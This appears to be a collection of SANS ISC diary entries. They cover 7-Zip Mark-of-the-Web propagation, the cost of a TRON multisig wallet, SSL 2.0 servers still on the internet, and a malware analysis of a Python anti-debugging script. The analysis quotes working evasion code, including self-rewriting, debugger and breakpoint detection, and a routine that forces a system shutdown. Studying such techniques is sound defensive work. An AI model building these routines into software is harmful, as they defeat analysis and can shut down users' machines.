I wrote about this a couple years ago in diary entry "7-Zip & MoW", when this new feature was introduced.
You have to enable MoW propagation in the GUI or via the registry. And that is still the case with the latest versions of 7-zip.
Didier Stevens
Senior handler
blog.DidierStevens.com
I did some research into multisig wallets (cfr "Crypto Wallet Scam"), and discovered that setting up such a wallet on the TRON network comes with a cost: about $23.
First I used the TronLink extension to create a wallet:
Then I went to that wallet on Tronscan, and selected the Permissions tab:
And there I added a new permission (giving all operations to another wallet) and deleted the original permission:
And when I saved my changes, and got this prompt:
You can't create a multisig wallet by changing permissions for free: it costs 100 TRX, that's about $23.
Didier Stevens
Senior handler
blog.DidierStevens.com
The SSL 2.0 protocol was originally published back in February of 1995[1], and although it was quickly found to have significant security weaknesses, and a more secure alternative was released only a year later[2], it still received a fairly wide adoption.
Nevertheless, since it was officially deprecated nearly 14 years ago, in March of 2011[3], and all newer IT systems subsequently lack support for it, one might reasonably expect that this outdated and insecure protocol would now be the stuff of legends more than something one might see in one’s daily life. Or – rather – while there are undoubtedly numerous legacy systems in existence that still support SSL 2.0, and even use it in the context of local networks, one would probably not expect to see large numbers of servers that still support this protocol exposed to the internet… Though, as we have discussed previously [4,5], one would be wrong.
Still, since the aforementioned protocol will celebrate its 30th birthday this Sunday, I thought it might be worthwhile to take a closer look at how common it is at this point, and what systems still support it.
Going by the numbers from Shodan, at the time of writing, there still appear to be nearly 423 thousand public IP addresses, on which servers supporting SSL 2.0 are accessible on some port[6].
Looking at the most common ports, we can see that the overwhelming majority of systems that still support the outdated protocol are almost certainly web servers, and that most of what remains seems to consist primarily of e-mail servers…
If we look at the countries, where at least 1000 SSL 2.0-enabled servers appear to be located, we can see that only three countries together – the United States, Kazakhstan and Tunisia – host more than half of what is out there…
We have discussed the situation at the top of the list – especially in Kazakhstan – previously[7], and although the overall numbers are still certainly high, it seems worth mentioning that even in these countries, the numbers of SSL 2.0 enabled systems (at least web servers, as you can see in the following chart) has decreased significantly over the past two years…
Since we are on the topic of changes in the number of servers that still support SSL 2.0, we should also look at how the overall global situation has evolved over time…
As we can see, the rate of removal of SSL 2.0 enabled systems from the internet has significantly increased in approximately the last 3 months, which is quite fortunate. Not because the protocol itself is weak, but because any device that still supports it is – given its long-ago deprecation – significantly outdated, and therefore most likely contains old and significant vulnerabilities.
The road still before us certainly isn’t short – over 422 thousand servers that support the outdated protocol remain on the internet – nevertheless, the situation seems to be getting better. We can only hope that with its 30th birthday quickly approaching, the time is finally comming to let SSL 2.0 – and most of the systems that support it – go, at least on the global internet…
[1] https://datatracker.ietf.org/doc/html/rfc6176#ref-SSL2
[2] https://en.wikipedia.org/wiki/Transport_Layer_Security#SSL_1.0,_2.0,_and_3.0
[3] https://en.wikipedia.org/wiki/Transport_Layer_Security#History_and_development
[4] https://isc.sans.edu/diary/29908
[5] https://isc.sans.edu/diary/31550
[6] https://www.shodan.io/search?query=ssl.version%3Asslv2
[7] https://isc.sans.edu/diary/29988
-----------
Jan Kopriva
LinkedIn
Nettles Consulting
The title of this diary is based on the string I found in a malicious Python script that implements many anti-debugging techniques. If some were common, others were interesting and demonstrated how low-level high-level languages like Python can access operating system information. Let’s review some of them!
Anti-debugging techniques are like a cat-and-mouse game. If you’re interested in malware analysis, this will show you how your task can be much more challenging if you’re prepared to face them. The file was found on VT with a low score of 2/62[1] (SHA256: 3a216b238bae042312ab810c0d07fdc49e8eddc97a2dec3958fb6b1f4ecd4612). The file just contains only anti-debugging stuff and not real malware. I suspect the file to be a proof-of-concept.
The script is multi-threaded and launches all the techniques in parallel:
def anti_debug_check():
""" ? The Unbreakable Multi-Layer Anti-Debugging System """
threads = [
threading.Thread(target=detect_debugger),
threading.Thread(target=detect_debugger_processes),
threading.Thread(target=detect_vm),
threading.Thread(target=detect_api_hooks),
threading.Thread(target=detect_breakpoints),
threading.Thread(target=detect_sandbox),
threading.Thread(target=detect_cpu_usage),
threading.Thread(target=detect_memory_tampering),
threading.Thread(target=detect_mouse_movements),
threading.Thread(target=detect_execution_speed),
threading.Thread(target=detect_registry_keys),
threading.Thread(target=detect_screenshot),
threading.Thread(target=infinite_loop_debugger_trap),
threading.Thread(target=inject_fake_code),
threading.Thread(target=polymorphic_self_mutation)
]
for t in threads:
t.daemon = True
t.start()
for t in threads:
t.join()
Let’s focus on the interesting ones. « polymorphic_self_mutation » will change the Python script file. In a Python program, the variable "__file__" contains the path of the currently executed script. This variable is used to read the content of the script, randomize the lines, and overwrite it:
def polymorphic_self_mutation():
""" ? Self-Mutating Code to Avoid Static Analysis """
with open(__file__, "r", encoding="utf-8") as f:
lines = f.readlines()
with open(__file__, "w", encoding="utf-8") as f:
random.shuffle(lines)
f.writelines(lines)
The new file will have, for example, a different hash and will be more difficult to hunt.
The next technique is a typical Python trick provided by sys.gettrace[2]. If a debugger is attached to the Python process, this function will return a trace function. The purpose of this technique is to loop forever if a debugger is attached to the Python script.
def infinite_loop_debugger_trap():
""" ? If Debugger is Attached, Trap it in an Infinite Loop """
while sys.gettrace():
pass # Debugger is stuck here forever
I like the « memory tampering » technique: The script computes its hash and recheck it at regular intervals:
def detect_memory_tampering():
original_hash = hashlib.md5(open(sys.argv[0], "rb").read()).hexdigest()
while True:
time.sleep(2)
current_hash = hashlib.md5(open(sys.argv[0], "rb").read()).hexdigest()
if current_hash != original_hash:
kill_system()
The next one relies on the API call IsDebuggerPresent(). This one is often hooked to prevent the simple detection of a debugger. The value 0xE9 is the op-code for a long jump… This hooking technique is called « trampoline ». If the very first byte of the API call loaded in memory is 0xE9, it has been hooked!
def detect_api_hooks():
kernel32 = ctypes.windll.kernel32
original_bytes = ctypes.create_string_buffer(5)
kernel32.ReadProcessMemory(kernel32.GetCurrentProcess(), kernel32.IsDebuggerPresent, original_bytes, 5, None)
if original_bytes.raw[0] == 0xE9: # Hook detected
kill_system()
When you debug, you probably use breakpoints, right? The following code helps to detect hardware breakpoints:
def detect_breakpoints():
context = ctypes.create_string_buffer(0x4C)
context_ptr = ctypes.byref(context)
context_offset = struct.calcsize("Q") * 6
ctypes.windll.kernel32.RtlCaptureContext(context_ptr)
dr0, dr1, dr2, dr3 = struct.unpack_from("4Q", context.raw, context_offset)
if dr0 or dr1 or dr2 or dr3:
kill_system()
Hardware breakpoints are used to avoid patching the program. They contain the address where to pause the execution. Hardware breakpoints are CPU registers: DRO to DR3 (on Intel CPU’s). RtlCaptureContext()[3] is used to get the current threat’s execution state which includes the registers. With the help of unpack, the script fills the variable corresponding to the registers, if one of them is not empty, there is a hardware breakpoint defined!
Other checks are really common: detection of suspicious process names, and specific registry keys, … I'll not cover them.
You can see that all functions will call kill_system() if tests are successful. This function will just annoy the malware analysts by crashing (or trying to crash) the system:
def kill_system():
""" ? THE ULTIMATE KILL-SWITCH ? """
try:
ctypes.windll.ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))
except:
os.system("shutdown /s /t 0") # Force shutdown
The purpose of the function is easy to understand but when NtRaiseHardError[4] is invoked, it does not automatically cause a kernel panic or system-wide crash. Instead, the system can handle the error in various ways, including logging the event, presenting an error dialog, or terminating the application that called the function. I tried in a VM:
C:\Users\REM>python Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import ctypes >>> ctypes.windll.ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong())) -1073741727 >>>
When you convert the value -1073741727 to hexadecimal, you get 0xC000001F, which is a Windows NTSTATUS code. Specifically, this error code indicates a STATUS_INVALID_PARAMETER error...
The Python script is a great example of multiple techniques that can be implemented in malware!
[1] https://www.virustotal.com/gui/file/3a216b238bae042312ab810c0d07fdc49e8eddc97a2dec3958fb6b1f4ecd4612/detection
[2] https://docs.python.org/3/library/sys.html#sys.gettrace
[3] https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlcapturecontext
[4] https://github.com/AgnivaMaity/NtRaiseHardError-Example
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
